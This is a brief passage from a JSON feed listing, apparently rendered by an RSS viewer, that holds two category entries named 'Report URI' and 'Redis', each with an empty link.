              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Redis",
              "term": "Redis",
              "url": null
            }
          ]
        }
      ]
    }
    Analyze Another View with RSS.Style